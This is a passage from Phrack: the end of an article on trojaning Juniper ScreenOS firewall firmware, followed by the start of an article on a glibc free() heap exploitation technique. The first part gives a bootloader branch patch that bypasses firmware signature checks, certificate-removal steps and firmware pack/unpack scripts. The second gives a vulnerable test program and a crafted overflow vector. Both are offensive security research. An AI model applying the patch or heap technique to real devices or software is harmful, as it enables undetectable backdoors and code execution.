ScreenOS does include a facility to validate firmware images and all Juniper firmware images are signed. Crucially though the validating certificate is NOT installed by default on any Netscreen AND anyone with administrator rights can delete and install the certifcate. To enable firmware image authentication it is necessary to obtain the certificate from the Juniper website and then upload the certificate to the device using the following command:

```
        save image-key tftp 129.168.0.40 image-key.cer
```

In the example above image-key is the certificate to be uploaded from the tftp server with IP address 192.168.0.40. Note the insecure transport mechanism for a cryptographic key. This is vulnerable to a man in the middle attack.

The firmware authentication check code is present in the boot loader which we can modify to authenticate all firmware images or only non-Juniper images. It may also be possible to sign firmware with our own certificate and upload this to the Netscreen to be used for validation.

Patching the Boot Loader to bypass certificate authentication.
To bypass the firmware authentication check only one branch instruction needs to be patched:

```
beq -> bl               0x4182001C -> 0x4800001C

0000D68C  bl      sub_98B8
0000D690  cmpwi   %r3, 0        # %r3 has result of image validation
0000D694  beq     loc_D6B0                        # branch if passed
0000D698  lis     %r3, aBogusImageNotA@h          # image not authenticated
0000D69C  addi    %r3, %r3, aBogusImageNotA@l
0000D6A0  crclr   4*cr1+eq
0000D6A4  bl      sub_C8D0
0000D6A8  li      %r31, -1
0000D6AC  b       loc_D6E0
```

If we replace

```
0000D694  beq     loc_D6B0      # branch if passed
```

with

```
0000D694 bl      loc_D6B0       # always branch, all images authenticated
```

or this

```
0000D694 bne     loc_D6B0       # evil...only bogus images authenticated
```

we can successfully load modified firmware even if a Juniper certificate is installed on the device. The boot loader is automatically upgraded when an image is loaded if the new boot loader differs from the existing.

In summary the steps to bypass firmware authentication are:

1. Delete certificate if one has been uploaded using the command:

```
        ns5xt>delete crypto auth-key
```

2. Upload the modified firmware image including modified boot loader.

3. Upload the certificate using:

```
        ns5xt>save image-key tftp 192.168.0.21 imagekey.cer
```

--[0xA - 28 Hacks Later

A more useful trojaned firmware can perform numerous functions leveraging existing ScreenOS functionality such as
- loading a hidden shadow configuration file
- allowing all traffic from one IP through the Netscreen to the network
- a network traffic tap
- persistent infection via boot loader on a firmware upgrade
- client side attacks against Administrators via Javascript code injection into the web console

--[0xB - Closing Scene

If unauthorised access is gained to a device running ScreenOS it is possible for an attacker to replace the boot loader and operating system with a modified version which is undetectable except by off line comparison with a known image.

Juniper in-memory infection.

A very stealthy attack is also possible due to a feature of ScreenOS. When loading a firmware over serial console two options are provided:
1. Save firmware to flash and then run new firmware.
2. Just run new firmware without saving to flash.

In the second case the modified firmware will be wiped on reboot and the previously stored firmware will be run. After a reboot no trace of the modified firmware will be left.

These attacks are straightforward for an attacker anywhere in the supply chain (ie vendors. manufacturers) or someone with physical access (ie third party support). If an administrator uses TFTP or HTTP to upgrade a Netscreen it is also possible to conduct a man-in-the-middle attack and replace the firmware being uploaded with a modified version on the wire.

These attacks could be prevented by Juniper pre-installing a certificate for image authentication which can not be deleted or modified.

--[0xC - References

- Juniper JTAC Bulletin PSN-2008-11-111
ScreenOS Firmware Image Authenticity Notification
"All Juniper ScreenOS Firewall Platforms are susceptible to
circumstances in which a maliciously modified ScreenOS image can
be installed."

http://www.securelink.nl/nl/x/123/ScreenOS-Firmware-Image-Authenticity-Notification

--[0xD - Credits
George Romero, antic0de, the belgian, hawkes, zadig, lenny, mark, andy,
ruxcon, kiwicon, +Mammon, +Orc

--[0xE Adddendum:

```
---------------------------------------------------------------------------
~/.gdbinit for remote PowerPC debugging
---------------------------------------------------------------------------
#--------------remote connect command over USB serial link-----------------
define netscreen
        set height 0
        set logging on
        target remote /dev/ttyUSB0
end
#--------------------breakpoint aliases------------------------------------
define bpl
        info breakpoints
end

define bpc
        clear $arg0
end

define bpe
        enable $arg0
end

define bpd
        disable $arg0
end

#--------------------process information-----------------------------------
define stack
        info stack
        info frame
        info args
        info locals
end

define reg
    printf " r00:%08X r01:%08X r02:%08X r03:%08X", $r0, $r1, $r2, $r3
    printf " \t pc:%08X\n", $pc
    printf " r04:%08X r05:%08X r06:%08X r07:%08X\n", $r4, $r5, $r6, $r7
    printf " r08:%08X r09:%08X r10:%08X r11:%08X", $r8, $r9, $r10, $r11
    printf " \t lr:%08X\n", $lr
    printf " r12:%08X r13:%08X r14:%08X r15:%08X\n", $r12, $r13, $r14, $r15
    printf " r16:%08X r17:%08X r18:%08X r19:%08X", $r16, $r17, $r18, $r19
    printf " \tctr:%08X\n", $ctr
    printf " r20:%08X r21:%08X r22:%08X r23:%08X\n", $r20, $r21, $r22, $r23
    printf " r24:%08X r25:%08X r26:%08X r27:%08X", $r24, $r25, $r26, $r27
    printf " \t cr:%08X\n",$cr
    printf " r28:%08X r29:%08X r30:%08X r31:%08X", $r28, $r29, $r30, $r31
    printf " \txer:%08X\n", $xer
end
```

```
define func
        info functions
end

define var
        info variables
end

define lib
        info sharedlibrary
end

define sig
        info signals
end

define threadice
        info threads
end

define u
        info udot
end

define dis
        disassemble $arg0
end


#------------------------------hex/ascii dump address----------------------
define hexdump
    printf "%08X : ", $arg0
    printf "%02X %02X %02X %02X  %02X %02X %02X %02X", *(unsigned char*) /
($arg0), *(unsigned char*)($arg0 + 1),*(unsigned char*)($arg0+2), /
*(unsigned char*)($arg0 + 3),*(unsigned char*)($arg0+4), *(unsigned char*)/
 ($arg0 + 5),*(unsigned char*)($arg0+6), *(unsigned char*)($arg0 + 7)
    printf " - "
    printf "%02X %02X %02X %02X  %02X %02X %02X %02X",*(unsigned char*) /
($arg0+8), *(unsigned char*)($arg0 + 9),*(unsigned char*)($arg0+10), /
*(unsigned char*)($arg0 + 11),*(unsigned char*)($arg0+12), /
*(unsigned char*)($arg0 + 13),*(unsigned char*)($arg0+14), /
*(unsigned char*)($arg0 + 15)
    printf " %c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",*(unsigned char*)($arg0),/
 *(unsigned char*)($arg0 + 1),*(unsigned char*)($arg0+2), /
*(unsigned char*)($arg0 + 3),*(unsigned char*)($arg0+4), /
*(unsigned char*)($arg0 + 5),*(unsigned char*)($arg0+6), /
*(unsigned char*)($arg0 + 7),*(unsigned char*)($arg0+8), /
*(unsigned char*)($arg0 + 9),*(unsigned char*)($arg0+10),/
 *(unsigned char*)($arg0 + 11),*(unsigned char*)($arg0+12), /
*(unsigned char*)($arg0 + 13),*(unsigned char*)($arg0+14), /
*(unsigned char*)($arg0 + 15)
end

#------------------------------hex dump address---------------------------
define memdump
        printf "%02X%02X%02X%02X%02X%02X%02X%02X", *(unsigned char*)/
($arg0), *(unsigned char*)($arg0 + 1),*(unsigned char*)($arg0+2), /
*(unsigned char*)($arg0 + 3),*(unsigned char*)($arg0+4), /
*(unsigned char*)($arg0 + 5),*(unsigned char*)($arg0+6), /
*(unsigned char*)($arg0 + 7)
    printf "%02X%02X%02X%02X%02X%02X%02X%02X\n",*(unsigned char*)/
($arg0+8), *(unsigned char*)($arg0 + 9),*(unsigned char*)($arg0+10),/
 *(unsigned char*)($arg0 + 11),*(unsigned char*)($arg0+12),/
 *(unsigned char*)($arg0 + 13),*(unsigned char*)($arg0+14),/
 *(unsigned char*)($arg0 + 15)
end
```

```
#----------------------------process context-------------------------------
define context
        printf "\n"
        printf "powerpc\n"
        printf "---------------------------------"
        printf "--------------------------------------[regs]\n"
        reg
        printf "\n"
        printf "[%08X]---------------------", $r1
        printf "--------------------------------------[stack]\n"
        hexdump $r1+64
        hexdump $r1+48
        hexdump $r1+32
        hexdump $r1+16
        hexdump $r1
        hexdump $r1-16
        hexdump $r1-32
        hexdump $r1-48
        hexdump $r1-64
        printf "\n"
        printf "[%08X]---------------------", $pc
        printf "----------------------------------[code]\n"
        x /16i $pc
        printf "---------------------------------"
        printf "-------------------------------------\n"
end


#--------------------------process control---------------------------------
define n
    ni
    context
end

define c
    continue
    context
end

define go
    stepi $arg0
    context
end

define goto
    tbreak $arg0
    continue
    context
end

define pret
    finish
    context
end

define startice
    tbreak _start
    r
    context
end

define main
    tbreak main
    r
    context
end

define find
```

```
    set $start = (char *) $arg0
    set $end = (char *) $arg1
    set $pattern = (int) $arg2
    set $p = $start
    while $p < $end
        if (*(int *) $p) == $pattern
            printf "pattern 0x%x found at 0x$x\n", $pattern, $p
        end
        set $p++
    end
end

#--------------------------gdb options-------------------------------------
set confirm 0
set verbose off
set prompt gdb-ppc>
set output-radix 0x10
set input-radix 0x10


---------------------------------------------------------------------------
ScreenOS pack & unpack python scripts
---------------------------------------------------------------------------
#!/usr/local/bin/python
#
# nodunpack.py :: ScreenOS image unpacker
#
#
# IMPORTANT:
# requires LZMA utilities
#
import sys
import subprocess

class sosunzip:

    def init():
        self.header
        self.image
        self.packed
        self.out

    def unpack(self):

        print "Cutting off header and saving"
        f = open(self.packed, 'rb')
        fh = file(self.header, 'w+b')
        fb = file(self.image, 'w+b')

        # save header including 4 magic bytes for lzma blob
        head = f.read(0x00012c04)
        fh.write(head)
        fh.close()
        print "Header extracted"

        # save lzma blob
        f.seek(0x00012c04)
        blob = f.read()
        fb.write(blob)
        f.close()
        fb.close()
        print "lzma blob extracted"

        # fast way
        # fb = open(self.image, 'r+b')
        # buf = fb.read().replace(oldhead,newhead)
        # fb.seek(0x0)
        # fb.write(buf)
        # fb.close()

        # correct dictionary size
        fb = open(self.image, 'r+b')
        fb.seek(0x01)
        print "Correcting dictionary size 00008000"
        fb.write(chr(0x00) + chr(0x00) + chr(0x80) + chr(0x00))

        # read header and lzma blob
        fb.seek(0x0)
        head = fb.read(0x05)
        fb.seek(0x05)
        lzma = fb.read()

        # write outheader, unknown size and lzma blob
        fb.seek(0x00)
        fb.write(head)
        print "Adding uncompressed size: 0xffffffffffffffff"
        fb.write(chr(0xff)+chr(0xff)+chr(0xff)+chr(0xff)+chr(0xff)+chr /
                                                  (0xff)+chr(0xff)+chr(0xff))
        fb.write(lzma)
        fb.close()

        print ("Uncompressing LZMA blob...")
        mkimage = "".join(['lzcat ',self.image,' > ',self.out])
        subprocess.call(mkimage, shell=True)
        print "lzcat: Blob decompressed (decoder error is safe to ignore)"
        print "ScreenOS image file decompressed"

if __name__ == '__main__':

    if len(sys.argv) != 4:
        print "Usage: ./sunpack.py <packed-image> <out-header> <out-image>"
        sys.exit(1)
    else:
        s = sosunzip()
        s.packed = sys.argv[1]
        s.header = sys.argv[2]
        s.out = sys.argv[3]
        s.image = "".join([sys.argv[3],'.lzma'])
        s.unpack()

    sys.exit(0)


#!/usr/local/bin/python
#
# nodpack.py :: ScreenOS image packer
#
#
# IMPORTANT:
# requires LZMA utilities installed!
#
import sys
import subprocess

class soszip:

    def init():
        self.header
        self.image
        self.packed

    def pack(self):

        print ("Compressing with LZMA...")
        mklzma = "".join(["lzma", " -5 ",self.image])
        subprocess.call(mklzma,shell=True)
        print("Adding header to LZMA blob...")
        mkimage = "".join(['cat ',self.header,' ',self.image,'.lzma > /
                                                        ',self.packed])
        subprocess.call(mkimage, shell=True)

        print "Fixing dictionary size 0x00012c05: 00008000 -> 00200000"
        f = open(self.packed, 'r+b')
        f.seek(0x00012c05)
        f.write(chr(0x00)+ chr(0x20) + chr(0x00)+ chr(0x00))
        #seek to start of file
        f.seek(0x0)
        head = f.read(0x00012c09)
        print "Removing uncompressed size 0x00012c09: [8 bytes]"
        #seek past the field to remove
        f.seek(0x00012c11)
        bub = f.read()
        # rewrite the file
        f.seek(0x0)
        f.write(head)
        f.write(bub)
        f.truncate()
        f.close()

        print "ScreenOS image file created"

if __name__ == '__main__':

    if len(sys.argv) != 4:
        print "Usage: ./nodpack.py <header> <image> <screenos-image>"
        sys.exit(1)
    else:
        s = soszip()
        s.header = sys.argv[1]
        s.image = sys.argv[2]
        s.packed = sys.argv[3]
        s.pack()

    sys.exit(0)

--------[ EOF
```

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x06 of 0x11

```
|=-----------------------------------------------------------------------=|
|=-------------=[ Yet another free() exploitation technique ]=-----------=|
|=-----------------------------------------------------------------------=|
|=---------------=[    By huku                           ]=--------------=|
|=---------------=[                                      ]=--------------=|
|=---------------=[    huku <huku _at_ grhack _dot_ net  ]=--------------=|
|=-----------------------------------------------------------------------=|
```

---[Contents

---[I. Introduction

When articles [01] and [02] were released in Phrack 57, heap exploitation techniques became a common fashion. Various heap exploits were, and are still published on various security related lists and sites. Since then, the glibc code, and especially malloc.c, evolved dramatically and eventually, various heap protection schemes were added just to make exploitation harder.

This article presents a new free() exploitation technique, different from those published at [06]. Yet, knowledge of [06] is assumed, as several concepts presented here are derived from the author's writings. Our technique makes use of 4 malloc() chunks (either directly allocated or fake ones constructed by the attacker) and achieves a '4 bytes anywhere' result. Our study focuses on the current situation of the glibc malloc() code and how one can bypass the security measures it imposes. The first two sections act as a flash back and as a rehash of older knowledge. Several important aspects regarding malloc() are also discussed. The aforementioned sections act as a foundation for the sections to follow. Finally, a real life scenario on ClamAV is presented as demonstration for our technique.

The glibc versions revised during the analysis were 2.3.6, 2.4, 2.5 and 2.6 (the latest version at the time of writing). Version 2.3.6 was chosen due to the fact that glibc versions greater or equal to 2.3.5 include additional security precautions. Examples were not tested on systems running glibc 2.2.x since it is considered quite obsolete.

This article assumes basic knowledge of malloc() internals as they are described in [01] and [02]. If you haven't read them yet then probably you should do so now. The reader is also urged to read [03], [04] and [05]. Experience on real life heap overflows is also suggested but not required.

---[II. Brief history of glibc heap exploitation

It is of common belief that the first person to publicly talk about heap overflows was Solar Designer back in the July of 2000. His related advisory [07], introduced the unlink() technique which was also characterized as a non-trivial process. By that time, Solar Designer wouldn't even imagine that this would be the start of a new era in exploitation methods. It was only a year later, in the August of 2001, when a more formal standardization of the term 'heap overflow' essentially appeared, right after the release of Phrack articles [01] and [02] written by MaXX and anonymous respectively. In his article, MaXX admitted that the technique Solar Designer had published, was already known 'in the wild' and was successfully used on programs like Netscape browsers, traceroute, and slocate. A huge volume of discoveries and exploits utilizing the disclosed techniques hit the lights of publicity. Some of the most notable research done at that time were [03], [04] and [05].

In December 2003, Stefan Esser replies to some, innocent at the first sight, mail [08] announcing the availability of a dynamic library that protects against heap overflows. His own solution is very simple - just check that the 'fd' and 'bk' pointers are actually pointing where they should. His idea was then adopted by glibc-2.3.5 along with other sanity checks thus rendering the unlink() and frontlink() techniques useless. The underground, at that time, assumes that pure malloc() heap overflows are gone but researchers sit back and start doing what they knew best, audit. The community remained silent for a long time. It is obvious that certain 0day techniques were developed but people appreciated their value and denied their disclosure.

Fortunately, two persons decided to shed some light on the malloc() case. In 2005, Phatantasmal Phatasmagoria (the person responsible for the disclosure of the wilderness chunk exploitation techniques [09]) publishes the 'Malloc Malleficarum' [06]. His paper introduces 5 new ways of bypassing the restrictions imposed by the latest glibc versions and is considered quite a masterpiece even today. In May the 27th 2007, g463 publishes [10], a very interesting paper describing a new technique exploiting set_head() and the topmost chunk. With this method, one could achieve an 'almost 4 bytes almost anywhere' condition. In this article, g463 explains how his technique can be used to flip the heap onto the stack and proves it by coding a neat exploit for file(1). The community receives another excellent paper which proves that exploitation is an art.

But enough about the past. Before entering a new chapter of the malloc() history, the author would like to clarify a few details regarding malloc() internals. It's actually the very basis of what will follow.

---[III. Various facts regarding the glibc malloc() implementation

--[1. Chunk flags

Probably, you are already familiar with the layout of the malloc() chunk header as well as with its 'size' and 'prev_size' fields. What is usually overlooked is the fact that apart from PREV_INUSE, the 'size' field may also contain two more flags, the IS_MMAPPED and the NON_MAIN_ARENA, the latter being the most interesting one. When the NON_MAIN_ARENA flag is set, it indicates that the chunk is part of an independent mmap()'ed memory region.

--[2. Heaps, arenas and contiguity

The malloc() interface does not guarantee contiguity but tries to achieve it whenever possible. In fact, depending on the underlying architecture and the compilation options, contiguity checks may not even be performed. When the system is hungry for memory, if the main (the default) arena is locked and busy serving other requests (requests possibly coming from other threads of the same process), malloc() will try to allocate and initialize a new mmap()'ed region, called a 'heap'. Schematically, a heap looks like the following figure.

```
  ...+----------+-----------+---------+-...-+---------+...
     | Heap hdr | Arena hdr | Chunk_1 |     | Chunk_n |
  ...+----------+-----------+---------+-...-+---------+...
```

The heap starts with a, so called, heap header which is physically followed by an arena header (also called a 'malloc state' or just 'mstate'). Below, you can see the layout of these structures.

```
--- snip ---
typedef struct _heap_info {
  mstate ar_ptr;            /* Arena for this heap   */
  struct _heap_info *prev; /* Previous heap         */
  size_t size;              /* Current size in bytes */
  size_t mprotect_size;    /* Mprotected size       */
} heap_info;
--- snip ---
```

```
--- snip ---
struct malloc_state {
  mutex_t mutex;                    /* Mutex for serialized access */
  int flags;                        /* Various flags               */
  mfastbinptr fastbins[NFASTBINS]; /* The fastbin array           */
  mchunkptr top;                    /* The top chunk               */
  mchunkptr last_remainder;        /* The rest of a chunk split   */
  mchunkptr bins[NBINS * 2 - 2];   /* Normal size bins            */
  unsigned int binmap[BINMAPSIZE]; /* The bins[] bitmap           */
  struct malloc_state *next;       /* Pointer to the next arena   */
  INTERNAL_SIZE_T system_mem;      /* Allocated memory            */
  INTERNAL_SIZE_T max_system_mem;  /* Max memory available        */
};

typedef struct malloc_chunk *mchunkptr;
typedef struct malloc_chunk *mbinptr;
typedef struct malloc_chunk *mfastbinptr;
--- snip ---
```

The heap header should always be aligned to a 1Mbyte boundary and since its maximum size is 1Mbyte, the address of a chunk's heap can be easily calculated using the following formula.

```
--- snip ---
#define HEAP_MAX_SIZE (1024*1024)

#define heap_for_ptr(ptr) \
 ((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1)))
--- snip ---
```

Notice that the arena header contains a field called 'flags'. The 3rd MSB of this integer indicates wether the arena is contiguous or not. If not, certain contiguity checks during malloc() and free() are ignored and never performed. By taking a closer look at the heap header, one can also notice that a field named 'ar_ptr' also exists, which of course, should point to the arena header of the current heap. Since the arena header physically borders the heap header, the 'ar_ptr' field can easily be calculated by adding the size of the heap_info structure to the address of the heap itself.

--[3. The FIFO nature of the malloc() algorithm

The glibc malloc() implementation is a first fit algorithm (as opposed to best fit algorithms). That is, when the user requests N bytes, the allocator searches for the first chunk with size bigger or equal to N. Then, the chunk is split, and one half (of size N) is returned to the user while the other half plays the role of the last remainder. Additionally, due to a feature called ’unsorted chunks’, the heap blocks are returned back to the user in a FIFO fashion (the most recently free()’ed blocks are first scanned). This may allow an attacker to allocate a chunk within various heap holes that may have resulted after calling free() or realloc().

```
--- snip ---
#include <stdio.h>
#include <stdlib.h>

int main() {
  void *a, *b, *c;

  a = malloc(16);
  b = malloc(16);
  fprintf(stderr, "a = %p | b = %p\n", a, b);

  a = realloc(a, 32);
  fprintf(stderr, "a = %p | b = %p\n", a, b);

  c = malloc(16);
  fprintf(stderr, "a = %p | b = %p | c = %p\n", a, b, c);

  free(a);
  free(b);
  free(c);
  return 0;
}
--- snip ---
```

This code will allocate two chunks of size 16. Then, the first chunk is realloc()’ed to a size of 32 bytes. Since the first two chunks are physically adjacent, there’s not enough space to extend ’a’. The allocator will return a new chunk which, physically, resides somewhere after ’a’. Hence, a hole is created before the first chunk. When the code requests a new chunk ’c’ of size 16, the allocator notices that a free chunk exists (actually, this is the most recently free()’ed chunk) which can be used to satisfy the request. The hole is returned to the user. Let’s verify.

```
--- snip ---
$ ./test
a = 0x804a050 | b = 0x804a068
a = 0x804a080 | b = 0x804a068
a = 0x804a080 | b = 0x804a068 | c = 0x804a050
--- snip ---
```

Indeed, chunk ’c’ and the initial ’a’, have the same address.

--[4. The prev_size under our control

A potential attacker always controls the ’prev_size’ field of the next chunk even if they are unable to overwrite anything else. The ’prev_size’ lies on the last 4 bytes of the usable space of the attacker’s chunk. For all you C programmers, there’s a function called malloc_usable_size() which returns the usable size of malloc()’ed area given the corresponding pointer. Although there’s no manual page for it, glibc exports this function for the end user.

--[5. Debugging and options

Last but not least, the signedness and size of the 'size' and 'prev_size' fields are totally configurable. You can change them by resetting the INTERNAL_SIZE_T constant. Throughout this article, the author used a x86 32bit system with a modified glibc, compiled with the default options. For more info on the glibc compilation for debugging purposes see [11], a great blog entry written by Echothrust's Chariton Karamitas (hola dude!).

---[IV. In depth analysis on free()'s vulnerable paths

--[1. Introduction

Before getting into more details, the author would like to stress the fact that the technique presented here requires that the attacker is able to write null bytes. That is, this method targets read(), recv(), memcpy(), bcopy() or similar functions. The str*cpy() family of functions can only be exploited if certain conditions apply (e.g. when decoding routines like base64 etc are used). This is, actually, the only real life limitation that this technique faces.

In order to bypass the restrictions imposed by glibc an attacker must have control over at least 4 chunks. They can overflow the first one and wait until the second is freed. Then, a '4 bytes anywhere' result is achieved (an alternative technique is to create fake chunks rather than expecting them to be allocated, just read on). Finding 4 contiguous chunks in the system memory is not a serious matter. Just consider the case of a daemon allocating a buffer for each client. The attacker can force the daemon to allocate contiguous buffers into the heap by repeatedly firing up connections to the target host. This is an old technique used to stabilize the heap state (e.g in openssl-too-open.c). Controlling the heap memory allocation and freeing is a fundamental precondition required to build any decent heap exploit after all.

Ok, let's start the actual analysis. Consider the following piece of code.

```
--- snip ---
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  char *ptr, *c1, *c2, *c3, *c4;
  int i, n, size;

  if(argc != 3) {
    fprintf(stderr, "%s <n> <size>\n", argv[0]);
    return -1;
  }

  n = atoi(argv[1]);
  size = atoi(argv[2]);

  for(i = 0; i < n; i++) {
    ptr = malloc(size);
    fprintf(stderr, "[~] Allocated %d bytes at %p-%p\n",
      size, ptr, ptr+size);
  }

  c1 = malloc(80);
  fprintf(stderr, "[~] Chunk 1 at %p\n", c1);
  c2 = malloc(80);
  fprintf(stderr, "[~] Chunk 2 at %p\n", c2);

  c3 = malloc(80);
  fprintf(stderr, "[~] Chunk 3 at %p\n", c3);

  c4 = malloc(80);
  fprintf(stderr, "[~] Chunk 4 at %p\n", c4);

  read(fileno(stdin), c1, 0x7fffffff); /* (1) */

  fprintf(stderr, "[~] Freeing %p\n", c2);
  free(c2); /* (2) */

  return 0;
}
--- snip ---
```

This is a very typical situation on many programs, especially network daemons. The for() loop emulates the ability of the user to force the target program perform a number of allocations, or just indicates that a number of allocations have already taken place before the attacker is able to write into a chunk. The rest of the code allocates four contiguous chunks. Notice that the first one is under the attacker’s control. At (2) the code calls free() on the second chunk, the one physically bordering the attacker’s block. To see what happens from there on, one has to delve into the glibc free() internals.

When a user calls free() within the userspace, the wrapper __libc_free() is called. This wrapper is actually the function public_fREe() declared in malloc.c. Its job is to perform some basic sanity checks and then control is passed to _int_free() which does the hard work of actually freeing the chunk. The whole code of _int_free() consists of a ’if’, ’else if’ and ’else’ block, which handles chunks depending on their properties. The ’if’ part handles chunks that belong to fast bins (i.e whose size is less than 64 bytes), the ’else if’ part is the one analyzed here and the one that handles bigger chunks. The last ’else’ clause is used for very big chunks, those that were actually allocated by mmap().

--[2. A trip to _int_free()

In order to fully understand the structure of _int_free(), let us examine the following snippet.

```
--- snip ---
void _int_free(...) {
  ...

  if(...) {
    /* Handle chunks of size less than 64 bytes. */
  }
  else if(...) {
    /* Handle bigger chunks. */
  }
  else {
    /* Handle mmap()ed chunks. */
  }
}
--- snip ---
```

One should actually be interested in the ’else if’ part which handles chunks of size larger than 64 bytes. This means, of course, that the exploitation method presented here works only for such chunk sizes but this is not much of a big obstacle as most everyday applications allocate chunks usually larger than this.

So, let’s see what happens when _int_free() is eventually reached. Imagine that ’p’ is the pointer to the second chunk (the chunk named ’c2’ in the snippet of the previous section), and that the attacker controls the chunk just before the one passed to _int_free(). Notice that there are two more chunks after ’p’ which are not directly accessed by the attacker. Here’s a step by step guide to _int_free(). Make sure you read the comments very carefully.

```
--- snip ---
/* Let’s handle chunks that have a size bigger than 64 bytes
 * and that are not mmap()ed.
 */
else if(!chunk_is_mmapped(p)) {
  /* Get the pointer to the chunk next to the one
   * being freed. This is the pointer to the third
   * chunk (named ’c3’ in the code).
   */
  nextchunk = chunk_at_offset(p, size);

  /* ’p’ (the chunk being freed) is checked whether it
   * is the av->top (the topmost chunk of this arena).
   * Under normal circumstances this test is passed.
   * Freeing the wilderness chunk is not a good idea
   * after all.
   */
  if(__builtin_expect(p == av->top, 0)) {
    errstr = "double free or corruption (top)";
    goto errout;
  }

  ...
  ...
--- snip ---
```

So, first _int_free() checks if the chunk being freed is the top chunk. This is of course false, so the attacker can ignore this test as well as the following three.

```
--- snip ---
  /* Another lightweight check. Glibc checks here if
   * the chunk next to the one being freed (the third
   * chunk, ’c3’) lies beyond the boundaries of the
   * current arena. This is also kindly passed.
   */
  if(__builtin_expect(contiguous(av)
    && (char *)nextchunk >= ((char *)av->top + chunksize(av->top)), 0)) {
      errstr = "double free or corruption (out)";
      goto errout;
  }

  /* The PREV_INUSE flag of the third chunk is checked.
   * The third chunk indicates that the second chunk
   * is in use (which is the default).
   */
  if(__builtin_expect(!prev_inuse(nextchunk), 0)) {
    errstr = "double free or corruption (!prev)";
    goto errout;
  }

  /* Get the size of the third chunk and check if its
   * size is less than 8 bytes or more than the system
   * allocated memory. This test is easily bypassed
   * under normal circumstances.
   */
  nextsize = chunksize(nextchunk);
  if(__builtin_expect(nextchunk->size <= 2 * SIZE_SZ, 0)
    || __builtin_expect(nextsize >= av->system_mem, 0)) {
      errstr = "free(): invalid next size (normal)";
      goto errout;
  }

  ...
  ...
--- snip ---
```

Glibc will then check if backward consolidation should be performed. Remember that the chunk being free()'ed is the one named 'c2' and that 'c1' is under the attacker's control. Since 'c1' physically borders 'c2', backward consolidation is not feasible.

```
--- snip ---
  /* Check if the chunk before 'p' (named 'c1') is in
   * use and if not, consolidate backwards. This is false.
   * The attacker controls the first chunk and this code
   * is skipped as the first chunk is considered in use
   * (the PREV_INUSE flag of the second chunk is set).
   */
  if(!prev_inuse(p)) {
    ...
    ...
  }
--- snip ---
```

The most interesting code snippet is probably the one below:

```
--- snip ---
  /* Is the third chunk the top one? If not then... */
  if(nextchunk != av->top) {
    /* Get the prev_inuse flag of the fourth chunk (i.e
     * 'c4'). One must overwrite this in order for glibc
     * to believe that the third chunk is in use. This
     * way forward consolidation is avoided.
     */
    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

    ...
    ...

    /* (1) */
    bck = unsorted_chunks(av);
    fwd = bck->fd;
    p->bk = bck;
    p->fd = fwd;
    /* The 'p' pointer is controlled by the attacker.
     * It's the prev_size field of the second chunk
     * which is accessible at the end of the usable
     * area of the attacker's chunk.
     */
    bck->fd = p;
    fwd->bk = p;

    ...
    ...
  }
--- snip ---
```

So, (1) is eventually reached. In case you didn't notice this is an old fashioned unlink() pointer exchange where unsorted_chunks(av)+8 gets the value of 'p'. Now recall that 'p' points to the 'prev_size' of the chunk being freed, a piece of information that the attacker controls. So assuming that the attacker somehow forces the return value of unsorted_chunks(av)+8 to point somewhere he pleases (e.g .got or .dtors) then the pointer there gets the value of 'p'. 'prev_size', being a 32bit integer, is not enough for storing any real shellcode, but it's enough for branching anywhere via JMP instructions. Let's not cope with such minor details yet, here's how one may force free() to follow the aforementioned code path.

```
--- snip ---
$ # 72 bytes of alphas for the data area of the first chunk
$ # 4 bytes prev_size of the next chunk (still in the data area)
$ # 4 bytes size of the second chunk (PREV_INUSE set)
$ # 76 bytes of garbage for the second chunk's data
$ # 4 bytes size of the third chunk (PREV_INUSE set)
$ # 76 bytes of garbage for the third chunk's data
$ # 4 bytes size of the fourth chunk (PREV_INUSE set)
$ perl -e 'print "A" x 72,
> "\xef\xbe\xad\xde",
> "\x51\x00\x00\x00",
> "B" x 76,
> "\x51\x00\x00\x00",
> "C" x 76,
> "\x51\x00\x00\x00"' > VECTOR
$ ldd ./test
        linux-gate.so.1 =>  (0xb7fc0000)
        libc.so.6 => /home/huku/test_builds/lib/libc.so.6 (0xb7e90000)
        /home/huku/test_builds/lib/ld-linux.so.2 (0xb7fc1000)
$ gdb -q ./test
(gdb) b _int_free
Function "_int_free" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (_int_free) pending.
(gdb) run 1 80 < VECTOR
Starting program: /home/huku/test 1 80 < VECTOR
[~] Allocated 80 bytes at 0x804a008-0x804a058
[~] Chunk 1 at 0x804a060
[~] Chunk 2 at 0x804a0b0
[~] Chunk 3 at 0x804a100
[~] Chunk 4 at 0x804a150
[~] Freeing 0x804a0b0

Breakpoint 1, _int_free (av=0xb7f85140, mem=0x804a0b0) at malloc.c:4552
4552      p = mem2chunk(mem);
(gdb) step
4553      size = chunksize(p);
...
...
(gdb) step
4688          bck = unsorted_chunks(av);
(gdb) step
4689          fwd = bck->fd;
(gdb) step
4690          p->fd = fwd;
(gdb) step
4691          p->bk = bck;
(gdb) step
4692          if (!in_smallbin_range(size))
(gdb) step
4697          bck->fd = p;
(gdb) print (void *)bck->fd
$1 = (void *) 0xb7f85170
(gdb) print (void *)p
$2 = (void *) 0x804a0a8
(gdb) x/4bx (void *)p
0x804a0a8:      0xef    0xbe    0xad    0xde
(gdb) quit
The program is running.  Exit anyway? (y or n) y
--- snip ---
```

So, 'bck->fd' has a value of 0xb7f85170, which is actually the 'fd' field of the first unsorted chunk. Then, 'fd' gets the value of 'p' which points to the 'prev_size' of the second chunk (called 'c2' in the code snippet). The attacker places the value 0xdeadbeef over there. Eventually, the following question arises: How can one control unsorted_chunks(av)+8? Giving arbitrary values to unsorted_chunks() may result in a '4 bytes anywhere' condition, just like the old fashioned unlink() technique.

---[V. Controlling unsorted_chunks() return value

The unsorted_chunks() macro is defined as follows.

```
--- snip ---
#define unsorted_chunks(M) (bin_at(M, 1))
--- snip ---

--- snip ---
#define bin_at(m, i) \
  (mbinptr)(((char *)&((m)->bins[((i) - 1) * 2])) \
    - offsetof(struct malloc_chunk, fd))
--- snip ---
```

The 'M' and 'm' parameters of these macros refer to the arena where a chunk belongs. A real life usage of unsorted_chunks() is briefly shown below.

```
--- snip ---
ar_ptr = arena_for_chunk(p);
...
...
bck = unsorted_chunks(ar_ptr);
--- snip ---
```

